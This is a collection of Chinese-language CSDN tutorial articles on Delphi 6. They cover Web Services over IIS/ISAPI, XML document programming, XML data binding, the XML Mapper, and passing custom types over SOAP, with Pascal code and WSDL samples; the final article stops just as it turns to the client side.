★ 创建Web Services的技巧：

1、 IIS 5中的相关设置：

因为Delphi 6创建的Web Services是一个ISAPI(Internet Server Application Programming Interface)程序，所以必须使用IIS作为它的服务器。在实际的开发和应用中，应该注意一下关于IIS5中针对ISAPI的缓存设置问题。

启动Internet服务管理器，选择Web站点的“属性”，依次选择弹出对话框的“主目录-〉配置”将会弹出如图七所示的对话框。

（图七）

在Web Service服务器端程序设计期间，因为需要不停的修改、编译和测试程序运行，所以不能使用“缓存ISAPI应用程序”，否则一旦运行程序，服务器程序就会总是处于使用期间，重新编译的新程序无法覆盖。

而一旦服务器端程序完成以后，则最好选择“缓存ISAPI应用程序”，因为一旦运行ISAPI程序它会被调入缓存以后，在以后的执行中效率会大大提高，据测试，至少有一倍以上的提升幅度。

2、 Delphi 6创建Web Services工程的调试方法：

作为一个运行于IIS下的ISAPI应用程序，Delphi创建的Web Services是一个DLL动态库，所以调试方法和一般的应用程序不太一样：

在创建Web Services程序的向导中，应该选择Web App Debugger excutable程序，创建出来的将会是一个可执行程序。然后使用Delphi 6自带的“Web App Debugger”调试工具作为Web Sever，并设置对应的端口，这时候就可以在Delphi的IDE下面调试服务器程序了。

当程序调试运行正常以后，需要作为ISAPI发布，只需要重新建立一个Web Sercices ISAPI程序，并把调试程序下的相关文件全部加入到新工程就可以了。

三、 总结：

在以上的测试中已经证明了，Web Services能传递各种各样的资料形式，由于Delphi已经为它封装了底层类进行传输复杂类型资料，因此，用Delphi6开发Web Services也比较简单。当前面临的主要问题就在于与Microsoft之间的整合问题，Delphi 6对微软WSDL的解释出现错误，和一些其它的相互之间差异，导致它们之间无法相互调用。虽然可以在Delphi 6中使用MST2进行调用，但是这就等于抛弃了Delphi 6自身的Web Services支持。

在整个测试过程中，我主要注重了Web Services实用性方面的测试，Web Services虽

然在传输效率极稳定性上都还不是特别的理想，但是毕竟微软的.Net战略是一个对现在来说超前的概念，它的真正成熟必须依靠与宽带网络的普及，才能让用户体验到Web Services的优越性。

当前，国内对Web Services的研究才刚刚起步，各大论坛才新近推出相关的讨论版，而且相对比较冷清。作为今后软件技术的核心概念，Web Services的火热程度将会有增无减。

随着各软件厂商参与Web Services研发的积极性，正促使着Web Services的迅速发展，以及相关协议的确定。随着外部环境的日趋成熟和自身的完善，Web Services必然作为全新的软件开发理念席卷整个行业。正如微软所说：“Empower people through great software -- any time, any place and on any device.”（先进的软件让人们随时，随地，通过任何设备获得强大能量）

参考资料：

《肥皂的战争与和平》----- 李维

《.Net:解读微软互联网新战略》-----毛向辉 陈志红

《Borland Delphi 6 Help》

《Borland Delphi 6 for Windows Develper’s Guide》

……


CSDN_文档中心_Delphi 6 XML数据绑定

Delphi 6 含有许多更新更强的XML支持功能，增加了XML文件编程，XML数据绑定向导，XML映象和BizSnap(SOAP/XML Web服务)。我在上一篇文章论述了Delphi 6中的XML文件编程(XML Document Programming)。本文是三篇论述Delphi 6中XML功能系列文章的第二篇，论述Delphi 6中的XML数据绑定(XML Data Binding)。

XML文件编程
XMLDocument组件让我们能够遍历和编辑XML文件。但是在上一篇文章中我提到了，我们只能与无类型节点打交道，必须记住节点元素的名字。这意味着无法进行实时编译调试！幸亏的是，如果Delphi只能处理这样简单的问题就不成其为Delphi了。运用XML的内容相关结构可以做更高级的应用，这就是Delphi 6的XML数据绑定向导(XML Data Binding Wizard)。

XML数据绑定
在Delphi 6的模块仓库(Object Repository)中可以找到XML数据绑定向导(XML Data Binding Wizard)。程序员能够用它生成相应的接口和类来访问与修改XML文件数据，诸如ClientDataSetXML数据，ADO XML数据，其它XML文件数据(如我们在前文用到的Clinic.xml，本文继续使用这个简单的XML文件作示例)。

现在开始吧，启动Delphi 6，在主菜单上选择File | New - Other，然后在仓库中选择XML Data Binding，如图1所示。

向导有三个页面。第一页定义XML纲(Schema)或XML文件(本例用Clinic.xml)，如图2所示。
在资源输入框内输入XML纲(Schema)或XML文件。“选项”(Options)对话框定义编码选项和数据类型映射关系(Data Type map)。以后我们还会谈到这些选项。

向导的第二页显示了树结构和节点数据类型(亦即向导生成了些什么样的代码)。图3可以看到我的XML文件结构。
可以看到XML文件里描述的嵌套节点(ClinicsType与ClinicType)和单节点(String)。这时可以打开选项(Options)对话框(图4)，修改编码(比如修改前缀)和数据类型映射。

向导的第三页显示生成的相应接口和类。可以把这些结果保存到文件(例如生成Clinic.xdb)。
结果(存储为Clinic.xdb文件)显示如下。我们得到一个ClinicsType类型的Clinics元素，其中包括ClinicType类型的Clinic系列元素。

<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xdb="http://www.borland.com/schemas/delphi/6.0/XMLDataBinding">
<xs:element name="Clinics" type="ClinicsType"/>
<xs:complexType name="ClinicsType">
<xs:annotation>
<xs:appinfo xdb:docElement="Clinics"/>
</xs:annotation>
<xs:sequence>
<xs:element name="Clinic" type="ClinicType" maxOccurs="unbounded"/>
</xs:sequence>
</xs:complexType>
<xs:complexType name="ClinicType">
<xs:sequence>
<xs:element name="Title" type="xs:string"/>
<xs:element name="Date" type="xs:string"/>
<xs:element name="Topics" type="xs:string"/>
</xs:sequence>
<xs:attribute name="No" type="xs:string"/>
</xs:complexType>
</xs:schema>

文件同时定义ClinicType类型的Clinic元素包含一系列字符串元素(Title, Date和Topics)。

生成代码
向导生成的代码可以直接在应用中使用。不幸的是，Delphi 6有时会产生“非法操作”的出错信息。重新执行一遍，它又能工作了。
以下是生成的代码(Clinic.pas)：

{****************************************************}
{ }
{ Delphi XML Data Binding }
{ }
{ Generated on: 2001/11/07 00:37:00 }
{ Generated from: D:\D6Clinic\src\Clinic.xml }
{ Settings stored in: D:\D6Clinic\src\Clinic.xdb }
{ }
{****************************************************}
unit Clinic;
interface
uses xmldom, XMLDoc, XMLIntf;

type

{ Forward Decls }

IXMLClinicsType = interface;
IXMLClinicType = interface;

{ IXMLClinicsType }

IXMLClinicsType = interface(IXMLNodeCollection)
['{06723E03-662D-11D5-81CE-00104BF89DAD}']
{ Property Accessors }
function Get_Clinic(Index: Integer): IXMLClinicType;
{ Methods & Properties }
function Add: IXMLClinicType;
function Insert(const Index: Integer): IXMLClinicType;
property Clinic[Index: Integer]: IXMLClinicType
read Get_Clinic; default;
end;

{ IXMLClinicType }

IXMLClinicType = interface(IXMLNode)
['{06723E04-662D-11D5-81CE-00104BF89DAD}']
{ Property Accessors }
function Get_No: WideString;
function Get_Title: WideString;
function Get_Date: WideString;
function Get_Topics: WideString;
procedure Set_No(Value: WideString);
procedure Set_Title(Value: WideString);
procedure Set_Date(Value: WideString);
procedure Set_Topics(Value: WideString);
{ Methods & Properties }
property No: WideString read Get_No write Set_No;
property Title: WideString read Get_Title write Set_Title;
property Date: WideString read Get_Date write Set_Date;
property Topics: WideString read Get_Topics write Set_Topics;
end;

{ Forward Decls }

TXMLClinicsType = class;
TXMLClinicType = class;

{ TXMLClinicsType }

TXMLClinicsType = class(TXMLNodeCollection, IXMLClinicsType)
protected
{ IXMLClinicsType }
function Get_Clinic(Index: Integer): IXMLClinicType;
function Add: IXMLClinicType;
function Insert(const Index: Integer): IXMLClinicType;
public
procedure AfterConstruction; override;
end;

{ TXMLClinicType }

TXMLClinicType = class(TXMLNode, IXMLClinicType)
protected
{ IXMLClinicType }
function Get_No: WideString;
function Get_Title: WideString;
function Get_Date: WideString;
function Get_Topics: WideString;
procedure Set_No(Value: WideString);
procedure Set_Title(Value: WideString);
procedure Set_Date(Value: WideString);
procedure Set_Topics(Value: WideString);
end;

{ Global Functions }

function GetClinics(Doc: IXMLDocument): IXMLClinicsType;
function LoadClinics(const FileName: WideString): IXMLClinicsType;
function NewClinics: IXMLClinicsType;

这里有二个接口类型：IXMLClinicsType和IXMLClinicType；用二个类(TXMLClinicsType和TXMLClinicType)来执行这二个接口。另外还有三个全局函数：GetClinics (获得根元素)，LoadClinics (从外部XML文件加载)和NewClinics (在内存生成新文件)。

用法
使用生成的Clinic.pas单元是很容易的。跟前一篇文章的做法一样，使用XMLDocument组件(在Inernet标签内)。不过我们不再使用无类型节点了，我们可以调用GetClinics函数获得IXMLClinicsType类型。以下是具体操作过程：

在Delphi 6建立一个新的应用(project)
在XML数据绑定向导指引下建立Clinic.pas文件(经过命名存盘 - 译者)
在主窗体上加入一个XMLDocument组件，其FileName属性为Clinic.xml
在主窗体的OnCreate事件中加入以下代码：
procedure TForm1.FormCreate(Sender: TObject);
var
Clinics: IXMLClinicsType;
begin
Clinics := GetClinics(XMLDocument1);
end;

把Clinics变量放到主窗体中是很有用的，这样就可以在主窗体运行期间使用Clinics接口。使用IXMLClinicsType变量类型要比以前使用普通XMLDocument组件方便多了。现在可以通过Get_Clinic方法来获得各个Clinic元素，还可以在特定位置插入新的Clinic元素。用Clinics.Clinic可以获得节点元素，用Getter和Setter方法可以得到或设置元素值。现在可以直接访问No, Title, Date, Topics等属性了：
procedure TForm1.ButtonGetClick(Sender: TObject);
var
Clinic: IXMLClinicType;
begin
Clinic := Clinics.Clinic[0];
EditNo.Text := Clinic.No;
EditTitle.Text := Clinic.Title;
EditDate.Text := Clinic.Date;
EditTopics.Text := Clinic.Topics
end;

可以在Clinic.pas中看到，Getter和Setter是方法而不是属性(实际上，我始终认为使用属性更清楚些)。但是Delphi 6让你看到的却是属性描述而不是方法本身(Delphi 6的另一个受欢迎的优点)。将上面这段代码与前一篇文章使用的方法相比较，就能感到操作方便多了。

下面的例子在XML树的末尾加入一个节点：
procedure TForm1.ButtonAddClick(Sender: TObject);
begin
with Clinics.Add do
begin
No := '2001-2-8; // 8th Clinic of the 2nd series of 2001
Title := 'Special Kylix 2 Clinic';
Date := '2001/12/21';
Topics := 'Kylix 2 New Features'
end
end;

如果没有把XMLDocument组件的AutoSave设置为真，可以用以下方法保存更动结果：
procedure TForm1.FormDestroy(Sender: TObject);
begin
XMLDocument1.SaveToFile;
end;

这就是XML数据绑定向导，一个非常方便的方法。它能做得越来越好。

下一篇文章：
我们已经看到了XML数据绑定的优点。不过好象还有点不“满足”，比方要遍历各个节点，存取节点值(不单单是字符串类型)，虽然可用选项决定，但还是用Delphi 6的XML映象更好，它的功能更强。我们将在下一篇文章论述。


CSDN_文档中心_Delphi 6 XML文件编程

Delphi 6 含有许多更新更强的XML支持功能。Delphi早期版本中提到的XML只在说明MIDAS数据格式和XMLBroker组件(在ClientDataSet和ADODataSet组件中也提到过)。 Delphi 6提供的XML功能增加了XML文件编程，XML数据绑定向导，XML映象和BizSnap(SOAP/XML Web服务)。本文是三篇论述Delphi 6中XML功能系列文章的第一篇，论述Delphi 6中的XML文件编程(XML Document Programming)。 XML文件 就在前几年XML刚刚问世的时候，它就被赋予电子商务的世界语的美称，尤其在B2B(business-2-business)领域内更是如此。原因就是XML是个非常简单的而又是结构化的ASCII文本语言，任何人和任何事都能读懂它。与作为当前网页标准格式的HTML语言不一样。两者之间的不同之处在于：HTML要用预先定义的语法集来解释；XML文件虽然要遵循通用的语法规则，但真正的关键词(标记)则是由作者决定的。其含义可由DTD(Document Type Definition)文件或者现在更为流行使用的纲(Schema)来选择定义。使用DTD或Schema的XML文件可以说是一个自我解释的文件，在数据集成化和出错调整时都很有用。 XML的结构化模式使得数据和信息可以在应用程序之间相互传递(包括在多层应用的中间层之间，例如Delphi提供的功能)。它提供一个标准格式，对所用的通讯协议是透明的。这就是XML在电子商务应用的电子数据交换(Electronic Data Interchange, EDI)和B2B中扮演重要角色的原因。通过DTD或者Schema来“定义”(或检查)XML文件理所当然地使得任何人都可以与任何其它人和事交谈，只要使用恰当的的XML/DTD/Schema组合。现在越来越经常要求集成现有的系统，XML可能成为系统之间相互交谈和理解的“语言”。 本文不讨论涉及EDI或B2B的XML。但它引出三篇论及XML文件编程和Delphi 6的XML新特性的文章。 XML文件编程 Delphi 6 支持DOM解析，因此我们可以读(和翻译！)以及编辑任何XML文件，甚至在缺少了DTD或Schema的情况下，一如本文所示。我在本文创建了一个包含我的网页内容的小小的XML文件： dbExpress and DataSnap 2002/01/10 WebBroker/InternetExpress and WebSnap 2002/01/31 WebSnap and Adapters 2002/02/21 BizSnap and WebServices 2002/03/14 WebSnap and BizSnap 2002/04/04 这个XML文件将作为这组系列文章的例子(本文以及后面的XML数据绑定和XML映像等文章里都会用到)。 TXMLDocument组件 要进行XML文件编程就要用到TXMLDocument组件(在Delphi 6组件栏的Internet标签里)。可以从那里拖拽一个组件到窗体或数据模块上。TXMLDocument组件有些值得一提的属性。显然，Active属性可以用于打开XML文件，但我们这会儿还用不上。DOMVendor属性定义了XML文件的解析器。在我的机器上，被置为"MSXML"。可以自己插入其它类型的DOMVendor(实际就是任何能够执行IDOMImplementation的接口组件)。在使用自己的DOMVendor组件前，要对它先进行注册。DOMVendor是一个全局变量，含有一个DOMVendor注册值表。这样第三方的DOMVendor可以在注册后加入这个表，让用户可以自行选择TXMLDocument的DOMVendor属性值。 TXMLDocument的第三个属性是FileName，指向XML文件(本例为clinics.xml)。如果XML文件并不是直接存在，而是通过其它转换获得，也可以设置这个属性值[译者注：只要使用的解析器支持，甚至可以指向一个URL]。这是在EDI和B2B里的基本用法，这种场合下往往不必[有时也不可能 - 译者]存储真正的XML文件。 NodeIndentStr属性决定子节点的后移位置，缺省值为二个空格，最多可选到八个空格。这个属性只有在选项里设置了doNodeAutoIndent标识为真(True)后才有效，这个标识的缺省状态为非真(False)。组件选项里还有其它标识，如NodeAutoCreate, AttrNull, AutoPrefix, NamespaceDecl和AutoSave。AutoSave使得组件在关闭时能够将XML文件发生的变动自动存盘。我觉得这是个非常好的特性，所以在我的例子里，我把它设置为真(它的缺省状态是非真)。 除了常规选项之外，XMLDocument组件还有解析选项，如ResolveExternals, ValidateOnParse, PreserveWhiteSpace和AsyncLoad，这些标识的意义从名字上就可以看出。 XMLDocument组件的最后一个属性是XML，指向一条XML的字符串(点击属性旁边的省略号可以编辑XML)。正如我前面说过的，这在B2B多层应用中是非常有用的。这时中间层往往接收从其它应用中得到XML字符串，就要对这些XML数据进行处理或“编程”。 XML文件编程 只要稍作设置(设置FileName为clinics.xml和将doAutoSave置为真)，就可以激活TXMLDocument组件。激活之后，就可以遍历节点，读取和编辑数据。 现在我们可以在XMLDocument里访问各个节点(IXMLNode)，递归访问各节点的子节点。例如，可以用一个按钮来获取第一个节点的元素值并将结果写入Memo： procedure TForm1.Button1Click(Sender: TObject); var Clinic: IXMLNode; begin Clinic := XMLDocument1.DocumentElement.ChildNodes[0]; Memo1.Lines.Clear; Memo1.Lines.Add(Clinic.ChildNodes['Title'].Text); Memo1.Lines.Add(Clinic.ChildNodes['Date'].Text); Memo1.Lines.Add(Clinic.ChildNodes['Topics'].Text) end; 增加索引指针可以访问其它节点。下面的例子用"current"作索引，通过循环增加"current"的值来遍历节点。我用try-except来防止循环出界。 procedure TForm1.Button2Click(Sender: TObject); var Clinic: IXMLNode; begin Inc(current); try Clinic := XMLDocument1.DocumentElement.ChildNodes[current]; Memo1.Lines.Clear; Memo1.Lines.Add(Clinic.ChildNodes['Title'].Text); Memo1.Lines.Add(Clinic.ChildNodes['Date'].Text); Memo1.Lines.Add(Clinic.ChildNodes['Topics'].Text); except on E: Exception do Memo1.Lines.Add(E.Message) end end; 除了遍历节点之外，还可以修改子节点的值。下面的代码将第一个节点的标题值加上一个"HOT"前缀。 procedure TForm1.Button1Click(Sender: TObject); var Clinic: IXMLNode; begin current := 0; Clinic := XMLDocument1.DocumentElement.ChildNodes[current]; Memo1.Lines.Clear; Clinic.ChildNodes['Title'].Text := 'HOT: ' + Clinic.ChildNodes['Title'].Text; Memo1.Lines.Add(Clinic.ChildNodes['Title'].Text); Memo1.Lines.Add(Clinic.ChildNodes['Date'].Text); Memo1.Lines.Add(Clinic.ChildNodes['Topics'].Text); end; 还可以增删节点。下面的代码增加一个子节点并赋予缺省值： procedure TForm1.Button1Click(Sender: TObject); var Clinic: IXMLNode; begin Clinic := XMLDocument1.DocumentElement.AddChild('Clinic'); Clinic.ChildNodes['Title'].Text := 'Title'; Clinic.ChildNodes['Date'].Text := 'Date'; Clinic.ChildNodes['Topics'].Text := 'Topics'; end; 记住，我们已经将AutoSave设置为真。所以在XMLDocument对象或应用关闭时，任何变化都将自动存盘。也可以调用XMLDocument1.SaveToFile方法显式存盘。 下一篇文章：XML数据绑定 XMLDocument让我们能够访问XML节点并编辑节点。但我们只能与无类型节点打交道，必须记住节点元素的名字。用上面的代码可以漂亮地处理小型的XML文件，但是，Delphi如果只能处理这样简单的问题就不成其为Delphi了。运用XML的内容相关结构可以做更高级的应用，这就是Delphi 6提供的XML数据绑定特性。我们将在下一篇文章中论述。


CSDN_文档中心_Delphi 6 XML映象工具

Delphi 6 含有许多更新更强的XML支持功能，增加了XML文件编程，XML数据绑定向导，XML映象和BizSnap(SOAP/XML Web服务)。本文是三篇论述Delphi 6中XML功能系列文章的第三篇，也是最后一篇，论述Delphi 6中的XML映象工具，也称之为XML映象器(XML Mapper)。

XML映象器
可以单独打开或者在IDE的工具(Tools)菜单中打开映象器(XML Mapper)。这个工具将XML文件影射为类似于数据库中的数据集(DataSet)！在前二篇文章中，我们都使用TXMLDocument组件来处理XML文件或XML绑定的数据。现在，我们不再使用TXMLDocument组件了。我们用XML映象器将XML文件转换成数据包(或反之)，这样就可以象我们非常熟悉得那样使用诸如DataSet这样的组件来处理XML数据。
XML映象器可以打开XML文件和数据包文件(*.xml,*.cds)，纲文件(*.dtd,*.xdr,*.xsd)，库文件(*.xrp)和转换文件(*.xtr)。后面这个转换文件是由映象器自行产生的。现在加载我们在前二篇文章中用到的Clinic.xml文件，看看数据影射成什么样。

如图1所示，Clinic.xml影射为一个Clinics结构，含有若干Clinic子项。每个Clinic有4个域：@No, Title, Date, 和Topics。注意@No是属性，其他3个是元素。
将鼠标移至Clinic节点，按右键，选择"Select All"(Ctrl+A)或者"Select All Children"，这样就把@No, Title, Date and Topics各项加到中间的映象表内。此时还没有生成相应的数据集域。
我们再次到Clinic节点按下鼠标右键，选择"Create Datapacket from XML"(Ctrl+D)，这时产生了相应的数据包并显示在映象器的右方，如图2所示。
映象器将XML文件转换成4个标准格式的数据包。我们还可以增加或删除数据包。这在B2B场合尤为重要，将接收到的数据(纪录)插入到数据库中。

创建并测试转换
按下Create and Test Transformation按钮，随即弹出一个DBGrid窗口，以ClientDataSet数据包格式显示Clinic.xml文件里的数据。数据转换之后，有4种方式存盘。对于初学者来说，可以存回原先的Clinic.xml文件。另外还可以存为包数据文件格式(*.xml)，库文件(repository)格式(.xrp)和转换文件格式(*.xtr)。后面的库文件可以被XMLTransform组件(在Data Access标签里)调用。

XML转换
Delphi 6里有3个XML转换组件。TXMLTransformProvider组件通过clinic.xtr文件将原始XML文件转换到ClientDataSet。
举例来说，在Delphi 6的主窗体上安放一个TXMLTransformProvider(在Data Access标签里)。将TransformRead属性的TransformationFile子属性设为clinic.xtr作为数据源。将XMLDataFile设为clinic.xml文件。
然后安放一个ClientDataSet组件，将它的ProviderName属性设为XMLTransformProvider。
现在可以激活ClientDataSet组件了，它将由XMLTransformProvider提供的数据转换过来。它的PacketRecords属性值缺省为-1，表示转换全部XML文件。
要显示数据，我们再加入DataSource和DBGrid组件。将DataSource指向ClientDataSet，DBGrid指向DataSource，就象我们通常使用得那样。结果显示如图3。

现在可以象使用数据库数据那样使用XML文件里的数据了。如果对数据进行了修改，可以调用ClientDataSet.ApplyUpdates方法将改动的数据存回XML文件。
但是这样做是不够的。我们还得启动XML映象器，将创建方式由"XML to Datapacket"改为"Datapacket to XML"。这时如果按下"Create and Test Transformation"键，看到的是空白页。然后将转换结果存为ClinicToXml.xtr文件。
现在，将TXMLTransformationProvider的TransformationWrite属性中的子属性TransformationFile设为ClinicToXml.xtr文件。
最后在主窗体的OnClose事件中加上存盘指令：
ClientDataSet1.ApplyUpdates(-1)
程序退出之前会将作出的数据修改存回XML文件。
这样就为Delphi 6的B2B开发环境BizSnap的虚拟中间层作好了数据准备。


CSDN_文档中心_Delphi 6 的新功能

WHAT'S NEW IN DELPHI 6

BizSnap™ simplifies eBusiness integration by easily and seamlessly creating and using XML/SOAP based Web Services
Delphi 6 radically simplifies building next-generation eBusiness applications on the Internet with complete SOAP based Web Services and XML data exchange support. The seamless integration of XML and Web Services technologies with Delphi 6 delivers the only Rapid Application Development for industry standard Web Services and B2B, B2C, and P2P integration over the Internet.

WebSnap™ is a component-based Web application development framework that supports leading Web Application Servers, including Apache, Netscape and Microsoft Internet Information Services (IIS)
WebSnap integrates the power of Delphi directly into today's Web site development teams. With WebSnap, Delphi applications can seamless integrate with Web sites and Web site development teams using today's popular HTML development environments such as Dreamweaver, Frontpage, VBScript, and JavaScript.

DataSnap™ delivers high-performance, Web Service-enabled database middleware that enables any client application or service to easily connect with any major database over the Internet
DataSnap supports all major database servers such as Oracle, MS-SQL Server, Informix, IBM DB2, Sybase and InterBase. Client applications connect to high-performance DataSnap servers through industry standard SOAP/XML HTTP connections over the Internet without bulky database client drivers and complex configuration requirements. DCOM, CORBA, and TCP/IP connections are also supported.

Build Single Source Windows/Linux Applications
Delphi 6 is Kylix compatible! Use the Cross-platform CLX™ component library and visual designers to build high-performance portable applications for Windows that can be easily re-compiled on Linux with Borland Kylix (sold separately). Plus! Bring CLX based Linux applications from Kylix into Delphi 6 to easily re-compile on Windows. Delphi 6 includes BaseCLX, VisualCLX, DataCLX, and NetCLX components.

Delphi 6 Borland AppServer Integration
Connect any Delphi 6 application or Web Service with Borland AppServer/EJBs using new SIDL (Simple IDL). Easily build ultra high-performance rich GUI Windows clients for EJB based AppServer applications. Publish AppServer EJB functionality to the world over Internet as industry standard SOAP/XML Web Services.

Borland VisiBroker for Delphi - Client and Server Development
Build ultra-high performance rich GUI Windows and Web Browser clients for Visibroker CORBA and AppServer/EJB applications. And now in Delphi 6 build CORBA Visibroker server objects that are interoperable with any CORBA client or object in a heterogeneous IT environment.

Latest Windows 2000/ME and Office 2000 GUI Support
Build the most modern user interfaces with new ActionBands, ActionManagers, and Shell Controls to easily create dynamic user interfaces that follow the latest Microsoft UI trends. Take all the work out of complex user interfaces while letting end-users fully customize their own UI experience.


CSDN_文档中心_DELPHI 6 抢先研究-- BizSnap/SOAP/WebService 之二

DELPHI 6 抢先研究-- BizSnap/SOAP/WebService 之二

-- 通过 SOAP 传递自定义类型数据

在前一个例子（见 《DELPHI 6 抢先研究 -- BizSnap/SOAP/WebService 之一 -- 一个 Hello world! 的例子》）中我们看到，通过 SOAP 可以很方便地进行远程对象调用，虽然那个例子用的对象是一个 Delphi 类，但实际上只需要对对象作一个 SOAP 包装，即可调用包括 COM/CORBA/EJB 等各种对象（除 EJB 必须用 Java 实现外， COM/CORBA 都已可以用 Delphi 实现）。在那个例子中，接口方法用到的数据类型都是标准类型，但实际应用中常常会碰到要传递自定义类型的情况，这时的操作略麻烦一些，详情如李维 《樂趣無窮，可能無限的新技術-Web Service》 一文中的例子所示。
同样，这里也要用一个例子来说明通过 SOAP 传递自定义数据类型的方法，这个例子会是一个比较麻烦的例子：

服务端：
1.New|WebServices|Soap Server Application ，如下图：

这个例子是用 Web App Debugger （详见《DELPHI 6 抢先研究 -- Web 应用开发及调试》）， 设置其 CoClass Name 为 wadSoapDemo2 ， 如下图：

2.SaveAll , Unit2 命名为： SvrWMMain ， Unit1 不改名， Project1 命名为： Server ；
3.New|Data Module ，将此单元保存为 SvrDataMod ；
4.在其中放入两个 dbExpress 控件： SQLConnection1 和 SQLDataSet1 ，如下图：

其属性设置为：

SQLConnection1 ConnectionName := IBLocal;
LoginPrompt := false;
Params.Values['Database'] := '[...]\Examples\Database\Employee.gdb';
// 上面的 [...] 为你的 InterBase 安装路径
SQLDataSet1 SQLConnection := SQLConnection1;
CommandText := 'select FULL_NAME, PHONE_EXT from EMPLOYEE WHERE EMP_NO = :EMP_NO';

5.New|Unit ，将此单元保存为 SvrDataType ，其内容如下：

unit SvrDataType;

interface

Uses
    InvokeRegistry;

Type
    TEmpInfo = Class( TRemotable )
    Private
        FName  : String;
        FPhone : String;
    published
        Property Name  : String Read FName  Write FName;
        Property Phone : String Read FPhone Write FPhone;
    end;

implementation

Initialization
    RemClassRegistry.RegisterXSClass( TEmpInfo );

Finalization
    RemClassRegistry.UnRegisterXSClass( TEmpInfo );

end.

此单元中定义了类： TEmpInfo ，用于记录员工信息，包括 Name 和 Phone 两个域，均为字符串类型。对于需要传递到客户端的数据类型，必须从 TRemotable 类派生，它能够自动处理类型信息的传递。如果要手工处理自定义数据类型的传递，则必须从 TRemotableXS 类派生，其用法与 TRemotable 类似，但这样的话，必须实现两个转换方法： NativeToXS 和 XSToNative ，详见 Delphi6\Source\Soap\XSBuiltIns.pas 中的几个类的实现。
需要注意的是，此类中将两个属性放在 Published 中，这里一定要这么做，我曾经因为将它们放在了 Public 中，导致客户端无法取得服务端的数据类型信息，后来才发现它们必须放在 Published 中才行，所以虽然这里并不是控件，这些属性也不是为了要在 Object Inspector 中显示，但仍然需要放在 Published 中。这可能是因为 Published 较 Public 多一些 RTTI(Run Time Type Info，运行时类型信息) 的东东，而远程数据类型是依赖于 RTTI 的。
最后是在远程类注册信息库中注册和反注册此类。

6.New|Unit ，将此单元保存为 SvrSoapIntf ，其内容如下：

unit SvrSoapIntf;

interface

Uses
    InvokeRegistry, SvrDataType;

Type
    ISoapEmployee = Interface( IInvokable )
        ['{31903B5A-96B3-43C2-A7B5-F67F6DB829E5}']
        Function GetEmployee( aEmpNo : Integer ) : TEmpInfo; StdCall;
    End;

implementation

Initialization
    InvRegistry.RegisterInterface( TypeInfo( ISoapEmployee ) );

end.

此单元中定义了 SOAP 接口，这与前一个例子并没有大的不同，只是这次为了清晰起见，将此接口放在一个单独的单元里实现。唯一区别较大的是此接口中的方法 GetEmployee 返回了一个自定义数据类型： TEmpInfo 。

7.在 SvrWMMain 单元中加入 SOAP 实现类，完整的单元内容如下：

unit SvrWMMain;

interface

uses
  SysUtils, Classes, HTTPApp, WSDLPub, SOAPPasInv, SOAPHTTPPasInv,
  SoapHTTPDisp, WebBrokerSOAP;

type
  TWebModule2 = class(TWebModule)
    HTTPSoapDispatcher1: THTTPSoapDispatcher;
    HTTPSoapPascalInvoker1: THTTPSoapPascalInvoker;
    WSDLHTMLPublish1: TWSDLHTMLPublish;
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  WebModule2: TWebModule2;

implementation

uses WebReq, InvokeRegistry, SvrDataType, SvrSoapIntf, SvrDataMod;

{$R *.DFM}

Type
    TSoapEmployee = class( TInvokableClass, ISoapEmployee )
    Protected
        Function GetEmployee( aEmpNo : Integer ) : TEmpInfo; StdCall;
    End;

{ TSoapEmployee }

Function TSoapEmployee.GetEmployee(aEmpNo: Integer): TEmpInfo; StdCall;
Begin
    Result := TEmpInfo.Create;
    If ( Not Assigned( DataModule2 ) ) Then
        DataModule2 := TDataModule2.Create( Nil );
    Try
        DataModule2.SQLConnection1.Open;
        With DataModule2.SQLDataSet1 Do
        Begin
            ParamByName( 'EMP_NO' ).AsInteger := aEmpNo;
            Open;
            If ( Not Eof ) Then
            Begin
                Result.Name  := FieldByName( 'FULL_NAME' ).AsString;
                Result.Phone := FieldByName( 'PHONE_EXT' ).AsString;
            End
            Else
            Begin
                Result.Name  := '';
                Result.Phone := '';
            End;
            Close;
        End;
        DataModule2.SQLConnection1.Close;
    Finally
        DataModule2.Free;
        DataModule2 := Nil;
    End;
End;

initialization
    WebRequestHandler.WebModuleClass := TWebModule2;
    InvRegistry.RegisterInvokableClass( TSoapEmployee );

end.

这里接口的实现类 TSoapEmployee 的定义与实现与前一例子类似。 GetEmployee 的实现也不复杂：首先，如果未创建 DataModule2 的实例（需要在 Project|Options 中将 DataModule2 从自动创建列表中移去）则创建一个 DataModule2 的实例；然后连接到数据库，查询指定员工号的员工信息；最后返回此信息。注意：这里用了 dbExpress ，有些地方与 BDE/ADO 不太一样，如不能使用 RecordCount ，只能用 Eof 来判断是否有查询结果。

8.至此完成服务端的全部程序，编译并运行，然后退出即完成 Web App Debugger 应用程序的注册。
启动 Web App Debugger ，再启动浏览器，在地址栏输入： http://localhost:1024/Server.wadSoapDemo2/wsdl/ISoapEmployee 即可浏览其 WSDL 内容，在其中包含了自定义类型的必要信息，但如果前面 SvrDataType 单元中的 TEmpInfo 类的属性不是放在 Published 部分的话，这里将看不到类型信息。下面是这个 WSDL 中的 types 标记部分内容：

  <types>
    <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="urn:SvrDataType">
  <xs:complexType name="TEmpInfo">
    <xs:sequence>
      <xs:element name="Name" type="xs:string"/>
      <xs:element name="Phone" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>
</xs:schema>
    <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="urn:WSDLSoap">
  <xs:complexType name="TWSDLSOAPPort">
    <xs:sequence>
      <xs:element name="PortName" type="xs:string"/>
      <xs:element name="Addresses" type="ns3:TWideStringDynArray"/>
    </xs:sequence>
  </xs:complexType>
</xs:schema>
    <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="urn:Types">
  <xs:complexType name="TWideStringDynArray">
    <xs:complexContent>
      <xs:restriction base="soapenc:Array">
        <xs:sequence/>
        <xs:attribute ref="soapenc:arrayType" n1:arrayType="xs:string[]"
xmlns:n1="http://schemas.xmlsoap.org/wsdl/"/>
      </xs:restriction>
    </xs:complexContent>
  </xs:complexType>
</xs:schema>
  </types>

从上面这一段 WSDL 中可以看出服务端导出了三个“复杂类型” -- complexType : TEmpInfo, TWSDLSOAPPort, TWideStringDynArray ，其中除了 TEmpInfo 是我们自己定义的数据类型以个，另两个是 Delphi 内部定义使用的类型，在客户端导入 WSDL 时我们会再看到它们的。

再来看客户端的实现：
